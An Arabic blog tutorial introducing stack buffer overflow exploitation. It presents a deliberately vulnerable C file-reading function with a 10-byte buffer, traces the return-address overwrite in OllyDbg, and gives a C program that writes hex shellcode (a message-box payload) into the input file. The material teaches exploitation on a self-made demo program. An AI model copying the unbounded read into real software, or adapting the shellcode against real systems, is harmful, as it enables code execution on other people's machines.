البداية في إكتشاف وإستغلال ثغرات أنظمة التشغيل والبرامج

عام 0 geek4arab
Spread the love

البداية : ثغرات أنظمة التشغيل

لو سألت ,, هل يمكن التغيير في ملف تنفيذي وطريقة عملة ؟! أكيد ستجد الجواب نعم

والأمثلة على ذلك البرمجة العكسية والكراك والباتش …..

كل هذة الأمثلة تغير في كود الملف التنفيذي ,, والتغيير في الكود بالتأكيد يغير في طريقة عمل الملف

والآن لو سألت هذا السؤال ؟!

هل يمكن التغيير في طريقة عمل ملف تنفيذي دون التغيير في كود الملف ؟؟؟؟؟!

أنا متأكد أن يكون جواب كل العقلاء والخبراء والمبرمجين هو : لالالالالا وألف لا ( يعني ماتدخل العقل )

ولكن ظهر لنا مجنون وقال ممكن ليش لا , وبدأ يبحث عن طريقة – هل تصدقون أنة وجدها

ولكن بشرط وهو حدوث خطأ , أهم شيء تعرفة في هذة المرحلة هو القانون التالي :

يمكن التغيير في طريقة عمل ملف تنفيذي دون التغيير في الكود بشرط حدوث خطأ

أريد أن أسال عندما نستخدم برنامج ويحدث خطأ أين ينتقل التنفيذ ؟! هل يخرج من البرنامج ؟

ماذا لو إستطعنا التحكم في مجرى التنفيذ ووجهناة لنقطة معينة , هل المطلوب التغيير في كود البرنامج؟!

أجوبة هذة الأسئلة : لا

سؤقرب لك ما أريد إصالة : بمثال تطبيقي , أعتقد أنها أسهل طريقة

مثالنا الأول عبارة عن برنامج هذا البرنامج يبحث عن ملف نصي في نفس المجلد

بعد أن يجدة يقوم بقرائة محتواة وعرضها بداخل أداة نص edit او textbox

ونحن بدورنا سنقوم بالكشف عن خطأ في هذا البرنامج ومن خلال الخطأ سنبحث عن ثغرة

تمكننا من إدخال كود برمجي وتنفيذة وتغيير مجرى البرنامج ,, دون التغيير في كود البرنامج الأصلي

فقط سنغير في محتوى الملف النصي ( من خلال محرر هكس )

وسنتعرف في هذا المثال على أكثر الثغرات إنتشارا في أنظمة التشغيل وهي overflow أو أخطاء الفيض

ستجد في هذة الرابط مثالنا , البرنامج + الشفرة المصدرية ( أخرج الملفات إلى مجلد )
myexp0a.zip

عندما تشغل البرنامج ستجد أمر Read file عندما تضغط علية , فإن البرنامج يقوم بقرائة

محتويات الملف النصي info.txt هذا الملف النصي موجود في نفس مجلد البرنامج

ويعرض المحتوى داخل أداة النص , ولو ألقينا نظرة على الكود الذي يقرأ الملف( الدالة Rfile )

لوجدنا التالي:

BOOL Rfile(HWND mhWnd)
{

HANDLE hfile=(HANDLE)-1;
DWORD nbt=0;

// لاحظ حجم مصفوفة الحروف

TCHAR buf[10];

hfile=CreateFile (“info.txt”,GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,
(LPSECURITY_ATTRIBUTES )NULL,OPEN_EXISTING,0,NULL);

if(hfile==(HANDLE)-1)
{
MessageBox (mhWnd,”ER: CreateFile “,”Error 01”,MB_OK);
return 1;
}

ZeroMemory(buf,10);
ReadFile (hfile,(LPVOID)buf,
(DWORD)GetFileSize (hfile,NULL),&nbt,
(LPOVERLAPPED )NULL);

SendMessage (mEdit,WM_SETTEXT ,0,(LPARAM)(LPCTSTR)buf);
return 0;

}

ستلاحظ في الكود المتغير أو المصفوفة buf حجمها 10 أحرف

يقوم البرنامج بقرائة الملف النصي وتخزين محتواة في المتغير buf بعد ذلك

ينقل إلى الأداة النصية , ماذا لو كان محتوى الملف النصي أكبر من 10 أحرف

بالتأكيد سيحدث خطأ ,, سنقوم بالبحث والنبش داخل هذا الخطأ

إفتح الملف النصي وقم بكتابة أي نص أكبر من 10 أحرف , ولكن لتطبيق الدرس

من حيث تشابة العناوين والمحتوى يفضل كتابة النص التالي :

fffdsdddertttttttttyyyyyyyyyyyyyyyyuuuuuuuuuuuuuuuuuuiiiiiiiiiiiiiiiiiiiiiiioooooooooooooooooooopppppppppppppp

بعد أن تكتب النص في الملف info.txt شغل البرنامج بواسطة olly لمراقبتة

ضع نقطة توقف عن العنوان 0x004013E0 يمثل بداية الدالة Rfile (دالة قرائة النص,وعرضة )

بعد أن تضع نقطة التوقف شغل البرنامج ونفذ Read File يتوقف التنفيذ عن نقطة التوقف

وتمثل بداية الدالة Rfile في الكود المصدري ,,,, لاحظ الصورة (خاصة قسم المكدس )

سجل العنوان الذي سيخزن بة عنوان العودة وسير التنفيذ , بعد ذلك نفذ البرنامج

خطوة , خطوة بإستخدام F8 إلى أن تصل إلى نقطة الخطأ وهي الدالة readfile

وبعد تنفيذها لا حظ التغيرات

هنا الورطة , أكيد إكتشفتها ؟؟!

ماذا لو غيرنا في الملف النصي الأحرف 13 و 14 و 15 و16 وهي “tttt”

تمثل هذة الأحرف عنوان العودة سيستخدمها المعالج لإستمرار ونقل التنفيذ , غير هذا العنوان

إلى عنوان آخر بداخل الملف النصي ,هذا العنوان يمثل كود لبرنامج مثلاً؟؟؟!!!!!!!!!!!!!

لاحظ كيف سنغير العنوان + سنقوم بكتابة كود تنفيذي بداخل الملف النصي

بهذة الطريقة :

بعد أن تغير في العنواين , وتكتب الكود بداخل محتوى الملف النصي , تابع F8

إلى أن تصل إلى تعليمة العودة في نهاية الدالة وهي RETN وبعد ذلك سينقل المعالج

التنفيذ إلى العنوان الذي قمت بتحديدة وكتبت بة الكود التنفيذي

وبعد ذلك تتبع البرنامج F8 ولاحظ كيف سينفذ برنامجنا الكود الموجود بداخل الملف النصي

وسينتقل لة التنفيذ , وبهذا نكون قد نقلنا التنفيذ دون التغيير في كود البرنامج الأصلي

وكل التغيرات والإضافات التي رأيناها كانت بداخل الملف النصي

ولأننا إستطعنا التغيير في سير التنفيذ دون التغيير في كود البرنامج , نكون قد إكتشفنا ثغرة

في البرنامج وسببها خطأ في الكود وهو عدم تحديد حجم القرائة للمتغير buf

وبعد أن نكتشف الثغرة , نقوم بكتابة ShellCode خاص بالثغرة وهو شبية بالكراك بعد كسر البرامج

ولكن shellcode عبارة عن أرقام ثنائية 1 و0 وللتسهيل تكتب بالهكس

هذة الأرقام تكتب بداخل أي لغة برمجة مثلاً ثغرات الأنظمة تكتب shellcode بواسطة لغة السي

ثغرات خوادم المواقع والسكربتات تكتب بلغة بيرل أو php أو asp أو html

المهم أن يكون shellcode عبارة عن أرقام بداخل هذة اللغات هذة الأرقام تمثل

كود بلغة الإسمبلي يمرر إلى الثغرة ليتم تنفيذة

والآن سنكتب برنامج بلغة السي ينتج لنا ملف نصي info.txt هذا الملف النصي مختلف

عن أي ملف نصي آخر , لأنة سيحتوي على عناوين الإنتقال لسير وتنفيذ البرنامج

بالإضافة إلى أنة سيحتوي على كود تنفيذي ( عبارة عن إظهار مسج )

وفقط بمجرد توزيع هذا الملف النصي على أي جهاز يحتوي على برنامجنا وبمجرد قرائة الملف

النصي نكون قد نفذنا أي كود أوبرنامج في الجهاز الآخر

هذا هو الكود + shellcode

#include <stdio.h>

char shellcode[] =
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\xA4\xFB\x12\x00”
“\x90\x90\x90\x90\x90\x90\x90\x90”
“\x6A\x00\x68\x00\x00\x00\x00\x68”
“\xC4\xFB\x12\x00\x50\xFF\x15\xA0”
“\x40\x40\x00\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90”
“XxXx Virus.exe is loading…..”
“\x00\x00\x90\x90\x90\x90”;

int main()
{
FILE* hfile=NULL;
int nb;

if (!(hfile=fopen (“info.txt”,”w+b”))) {
printf(“Error: fopen()”);
return 0;
}

nb=fwrite(shellcode,sizeof(char),
sizeof(shellcode),hfile);

fclose(hfile);

printf(” — OKKKKKKKKKK –\n”);
printf(” -|- Write %d byte -|- \n”,nb);
printf(“– Create info.txt Virus –\n”);

return 1;
}

ملاحظة : هل تشاهد طريقة ترتيب الكود – هذة الطريقة متبعة في كل
برامج إستغلال الثغرات ,, وأي كود تراة بهذة الطريقة يعتبر shellcode لثغرة

المهم :
نفذ البرنامج لينتج لك ملف نصي , ضعة في مجلد البرنامج
وقم بتنفيذ الدالة Rfile لتلاحظ النتيجة
وهي: تشغيل الكود أو البرنامج الموجود في الملف النصي

وبهذا نكون قد أخذنا كل أقسام الثغرة , وهي

1- البحث عن خطأ بداخل أي ملف تنفيذي
2- محاولة إيجاد طريقة لنقل أو تغيير مسار التنفيذ في مرحلة الخطأ
3- كتابة shellcode أو كتابة كود لإستغلال والإستفادة من الثغرة

الكاتب geek4arab

geek4arab

مواضيع متعلقة

التعليقات مغلقة